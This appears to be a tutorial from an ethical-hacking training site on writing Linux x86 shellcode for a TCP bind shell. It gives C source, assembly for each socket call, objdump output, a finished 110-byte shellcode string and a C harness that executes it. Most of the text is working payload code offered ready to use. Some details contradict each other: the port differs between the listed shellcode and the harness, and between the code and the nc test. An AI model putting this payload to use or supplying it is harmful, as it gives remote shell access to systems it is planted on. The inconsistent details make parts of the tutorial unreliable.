Advanced Ethical Hacking Institute in Pune

 

Now, to all those who are LEARNING ASM, please do not be intimidated by this. This may look advanced due to its shear length, but I assure you it’s fairly simple. ASM files are MUCH longer as it is the lowest level language and there are a lot more commands needed to perform even a relatively simple task.

This tutorial assumes you have basic to intermediate knowledge in:
~ ASM
~ Registers (eax, ax, ah, al, eip, esp, ebp, etc…)and Common Instructions (xor, lea, mov, int, jmp, jmp (conditions), etc…)
~ Linux System Calls (Found normally at /usr/include/asm/ in unistd_32.h)
~ Buffer Overflow Methodology and basic Science behind it

Prelude & Files I’m Using:

Below, I’ve written a simple TCP bind shell in C so that we can reference this later on.


PHP Code:

#include <sys/socket.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>

#define PORT 7777

int main(){
int client, server;      //file descriptors
struct sockaddr_in sock;    //socket addr

server = socket(AF_INET, SOCK_STREAM, 0);    //create a socket in server

sock.sin_family = AF_INET;      //address family AF_INET
sock.sin_port = htons(PORT);      //sets the port for socket
sock.sin_addr.s_addr = INADDR_ANY;    //allow any address in

bind(server, (struct sockaddr *) &sock, sizeof(sock));
//This binds the socket to the socket to the file descriptor

listen(server, 1);    //listen for connections

client = accept(server, NULL, NULL);
//set client file descriptor to the first accepted client

dup2(client, 0);    //stdin
dup2(client, 1);    //stdout
dup2(client, 2);    //stderr
//these now use 'client' stream, not std::

execve("/bin/sh", NULL, NULL);
//execute /bin/sh in the client stream. Client has full access.
return 0;



Okay, this is simple enough. It creates a socket, listens on a port, duplicates the file descriptors for stdin/out/err so the client can interact with the standard streams, and executes a /bin/bash or /bin/sh shell… This is very easy.

Now that we have this, we have to convert this to assembly 😀

But wait. How do we find those #defined constants? You can:
A) Look through the files and try and find them. They are going to be either in the #included files OR in files #included by the #included files….

B) Print them on screen:


PHP Code:

#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <netinet/in.h>

int main(){
printf(
"AF_INET:\t%d\n"
"SOCK_STREAM:\t%d\n"
"INADDR_ANY:\t%d\n"
,AF_INET, SOCK_STREAM, INADDR_ANY);
return 0;



I simply included the same files as the first program. This yields:
AF_INET: 2
SOCK_STRESS: 1
INADDR_ANY: 0

Part I: Functions and Their Parameters

We need to grab the system calls, functions, and parameters for this to be of any use to us.

We know that we used socket(), bind(), listen(), accept(), dup2(), and execve().
Something we have to note is that the socket calls are not native in x86 ASM system calls, but rather offsets of the “socketcall” system call.

Looking in /usr/include/linux/types.h We see:


PHP Code:

#define SYS_SOCKET      1             /* sys_socket(2)            */
#define SYS_BIND      2             /* sys_bind(2)            */
#define SYS_CONNECT     3             /* sys_connect(2)             */
#define SYS_LISTEN      4             /* sys_listen(2)            */
#define SYS_ACCEPT      5             /* sys_accept(2)            */
#define SYS_GETSOCKNAME 6             /* sys_getsockname(2)      */
#define SYS_GETPEERNAME 7             /* sys_getpeername(2)      */
#define SYS_SOCKETPAIR  8             /* sys_socketpair(2)      */
#define SYS_SEND      9             /* sys_send(2)            */
#define SYS_RECV      10            /* sys_recv(2)            */
#define SYS_SENDTO      11            /* sys_sendto(2)            */
#define SYS_RECVFROM    12            /* sys_recvfrom(2)            */
#define SYS_SHUTDOWN    13            /* sys_shutdown(2)            */
#define SYS_SETSOCKOPT  14            /* sys_setsockopt(2)      */
#define SYS_GETSOCKOPT  15            /* sys_getsockopt(2)      */
#define SYS_SENDMSG     16            /* sys_sendmsg(2)             */
#define SYS_RECVMSG     17            /* sys_recvmsg(2)             */
#define SYS_ACCEPT4     18            /* sys_accept4(2)             */
#define SYS_RECVMMSG    19            /* sys_recvmmsg(2)            */
#define SYS_SENDMMSG    20            /* sys_sendmmsg(2)            */

Calls we used (man calls):

  • int socket(int domain, int type, int protocol); – 102 _ 1
    Parameters:

    • AF_INET (aka 2)
    • SOCK_STREAM (aka 1)
    • 0
  • int bind(int sockfd, const struct sockaddr *addr, socklen_t addrlen); – 102 _ 2
    Parameters:

    • the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
    • Address Family, Port
    • Length
  • int listen(int sockfd, int backlog); – 102 _ 4
    • the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
    • 1
  • int accept(int sockfd, struct sockaddr *addr, socklen_t *addrlen); – 102 _ 5
    • the file descriptor returned by the socket() call. This is stored in EAX upon int 0x80
    • 0 (No parameters)
    • 0 (No addrlen)
  • int dup2(int oldfd, int newfd); – 63
    • client FD, client FD, client FD
    • stdin (0), stdout (1), stderr (2)
  • int execve(const char *filename, char *const argv[], char *const envp[]); – 11
    • “/bin/sh” is only 7 characters. It must be 8. Thankfully, using multiple “/”‘s in a row does not affect it. So we can use: “//bin/sh”. “/bin/bash” -> “////bin/bash”
    • No arguments

Fuck that’s intimidating. Well, we see that we will have to use the FD returned by socket() which will be stored in EAX

Part II: Writing the ASM

For those of you who have written shellcode from C programs before know that it’s MUCH MUCH easier to do this when you think in terms of function by function. Viewing it as one challenge is entirely too great.

We will start it off like any basic file:


 

PHP Code:
SECTION .text
global _start
_start:

Okay, halfway there…

socket()
Syscall: 102

PHP Code:
;////// SOCKET
xor eax, eax
xor ebx, ebx
push eax ;// pushing NULL bytes onto the stack
mov al, 102d ;// syscall for socketcall
mov bl, 1 ;// linux/types.h: #define SYS_SOCKET      1
push ebx ;// push 0x0000001 onto stack
push 2d ;// push 0x0000002 onto stack
mov ecx, esp ;// move the stack pointer (parameter array start) to the ECX
int 80h ;// execute socket()
;//socket() returned is not in EAX
mov esi, eax ;//save socket() file descriptor in something that won't be overwritten like ESI 



Okay, great. This creates our socket and saves it in ESI so we can call it later. Simple enough. Now we can start the bind() function.

bind()
Syscall: 102

PHP Code:
;////// BIND
xor eax, eax ;// clear EAX
xor ebx, ebx
mov al, 102d ;// syscall for socketcall
mov bl, 2 ;//// linux/types.h: #define SYS_BIND      2
add esp, 8d ;// removing 2 and 1 from the stack
;// This is the PORT number. Note that it MUST be in little endian.
;// If you want port 7777 (0x1E61), you MUST use (0x611E)
push word 0x611e
push word 2d ;// push
mov ecx, esp ;// move param array to ECX
push byte 16d ;//I'm still unsure of what the value should be. 16 is the lowest value $
push ecx ;// push param array start
push esi ;// socket() fd onto stack
mov ecx, esp ;// move the NEW param array into ecx
int 0x80 ;// call bind()

listen()
Syscall: 102

PHP Code:
;////// LISTEN
xor eax, eax ;// clear EAX
mov bl, 4d ;//// linux/types.h: #define SYS_LISTEN      4
push 1d   ;// int backlog parameter
mov al, 102d
push esi ;// socket() fd onto stack
mov ecx, esp ;// mov param array pointer to ECX
int 0x80 ;// call listen()

accept()
Syscall: 102

PHP Code:
;////// ACCEPT
xor eax, eax ;// clear EAX
push eax ;// NULL - no sockaddr struct
push eax ;// NULL - no addrlen
mov al, 102d ;// syscall for socketcall
mov bl, 5d ;//// linux/types.h: #define SYS_ACCEPT      5
push esi ;// socket() fd onto stack
mov ecx, esp ;// mov param array pointer to ECX
int 0x80 ;// call accept()
;// this CLIENT FD is saved in EAX

dup2()
Syscall: 63

PHP Code:
;////// DUP2
mov ebx, eax ;// save client FD into ebx ('old' fd dup2)
xor ecx, ecx ;// clear ECX
mov cl, 2d ;// Counter. 2, 1, 0 (stderr, stdout, stdin)
;// We need to set AL to dup2 syscall each time we loop or it will be overwritten.
loop_dup2:
mov al, 63d ;// syscall for dup2
int 0x80 ;// call dup2
dec ecx ;// decrease ECX
jns loop_dup2 ;// jump to the loop if ECX is still positive

execve()
Socketcall: 11

Alright. This is one of the the standard /bin/sh shellcode. This is the shortest way I know of writing it. Note that it needs to be a multiple of 4 bytes so “/bin/sh: won’t work. It needs to be 8 characters.

//bin/sh works just the same. Also, if you wanted to push 4 more bytes on there, //////bin/sh works identically.

PHP Code:
;////// EXECVE
xor eax, eax ;// clear EAX
push eax ;// push NULL
;// Push string "/bib/sh" (rather "//bin/sh" so it's x 4) backwards in LE
push 0x68732f6e ;// "hs/n" in hex
push 0x69622f2f ;// "ib//" in hex
mov ebx, esp ;// Move argument stack pointer into ebx
push eax ;// push NULL
mov edx, esp ;// move the NEW stack pointer into EDX (environment params ptr)
push ebx ;// push this new address onto stack
mov ecx, esp ;// move the NEW NEW stack pointer into ECX (param array ptr)
mov al, 11d ;// syscall for execve
int 0x80 ;// call execve()

 

Part III: Compiling and Testing

That’s a lot of stuff we just typed…
Let’s compile it:

nasm -f elf32 file.asm -o TEMP.o
ld -m elf_i386 -o exec TEMP.o
./exec

And test it with netcat or a telnet client:

nc 127.0.0.1 777
^^ Assuming you are testing it on local host and you chose port 777.

Proof:

Alright. Now let’s turn this into shellcode with OPCODER (the simple tool I wrote at the top).

Here’s the disassembly output:
objdump -M intel -d exec

PHP Code:
OBJ Dump:

8048060:    31 c0                xor    eax,eax
8048062:    31 db                xor    ebx,ebx
8048064:    50                 push   eax
8048065:    b0 66                mov    al,0x66
8048067:    b3 01                mov    bl,0x1
8048069:    53                 push   ebx
804806a:    6a 02                push   0x2
804806c:    89 e1                mov    ecx,esp
804806e:    cd 80                int    0x80
8048070:    89 c6                mov    esi,eax
8048072:    31 c0                xor    eax,eax
8048074:    31 db                xor    ebx,ebx
8048076:    b0 66                mov    al,0x66
8048078:    b3 02                mov    bl,0x2
804807a:    83 c4 08          add    esp,0x8
804807d:    66 68 1e 61          pushw  0x611e
8048081:    66 6a 02          pushw  0x2
8048084:    89 e1                mov    ecx,esp
8048086:    6a 10                push   0x10
8048088:    51                 push   ecx
8048089:    56                 push   esi
804808a:    89 e1                mov    ecx,esp
804808c:    cd 80                int    0x80
804808e:    31 c0                xor    eax,eax
8048090:    b3 04                mov    bl,0x4
8048092:    6a 01                push   0x1
8048094:    b0 66                mov    al,0x66
8048096:    56                 push   esi
8048097:    89 e1                mov    ecx,esp
8048099:    cd 80                int    0x80
804809b:    31 c0                xor    eax,eax
804809d:    50                 push   eax
804809e:    50                 push   eax
804809f:    b0 66                mov    al,0x66
80480a1:    b3 05                mov    bl,0x5
80480a3:    56                 push   esi
80480a4:    89 e1                mov    ecx,esp
80480a6:    cd 80                int    0x80
80480a8:    89 c3                mov    ebx,eax
80480aa:    31 c9                xor    ecx,ecx
80480ac:    b1 02                mov    cl,0x2
80480ae:    b0 3f                mov    al,0x3f
80480b0:    cd 80                int    0x80
80480b2:    49                 dec    ecx
80480b3:    79 f9                jns    0x80480ae
80480b5:    31 c0                xor    eax,eax
80480b7:    50                 push   eax
80480b8:    68 6e 2f 73 68          push   0x68732f6e
80480bd:    68 2f 2f 62 69          push   0x69622f2f
80480c2:    89 e3                mov    ebx,esp
80480c4:    50                 push   eax
80480c5:    89 e2                mov    edx,esp
80480c7:    53                 push   ebx
80480c8:    89 e1                mov    ecx,esp
80480ca:    b0 0b                mov    al,0xb
80480cc:    cd 80                int    0x80

Shellcode (110 Bytes):

Code:
\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0​\x31\xdb\xb0\x66\xb3\x02\x83\xc4\x08\x66\x68\x1e\x61\x66\x6a\x02\x89\xe1\x6a\x10​\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb3\x04\x6a\x01\xb0\x66\x56\x89\xe1\xcd\x80\x31​\xc0\x50\x50\xb0\x66\xb3\x05\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f​\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3​\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

You can check to see if there are any \x00’s simply by running:
objdump -d exec | grep “00”

Now let’s test it in our C program:

PHP Code:
#include <stdio.h>
#include <string.h>
unsigned char shellcode[] = "\x31\xc0\x31\xdb\x50\xb0\x66\xb3\x01\x53\x6a\x02\x89\xe1\xcd\x80\x89\xc6\x31\xc0​\x31\xdb\xb0\x66\xb3\x02\x83\xc4\x08\x66\x68\xef\xbe\x66\x6a\x02\x89\xe1\x6a\x10​\x51\x56\x89\xe1\xcd\x80\x31\xc0\xb3\x04\x6a\x01\xb0\x66\x56\x89\xe1\xcd\x80\x31​\xc0\x50\x50\xb0\x66\xb3\x05\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb1\x02\xb0\x3f​\xcd\x80\x49\x79\xf9\x31\xc0\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3​\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main(){
printf("Shellcode Length (Bytes): %d\n", strlen(shellcode));
((void(*)(void))shellcode)();
return 0;
}

And moment of truth:

 

www.extremehacking.org
CEHv8 CHFIv8 ECSAv8 CAST ENSA CCNA CCNA SECURITY MCITP RHCE CHECKPOINT ASA FIREWALL VMWARE CLOUD ANDROID IPHONE NETWORKING HARDWARE TRAINING INSTITUTE IN PUNE, Certified Ethical Hacking, Center For Advanced Security Training in India, IT Security Training Information Security Traning Courses in Pune, ceh certification in pune, Ethical Hacking Course in Pune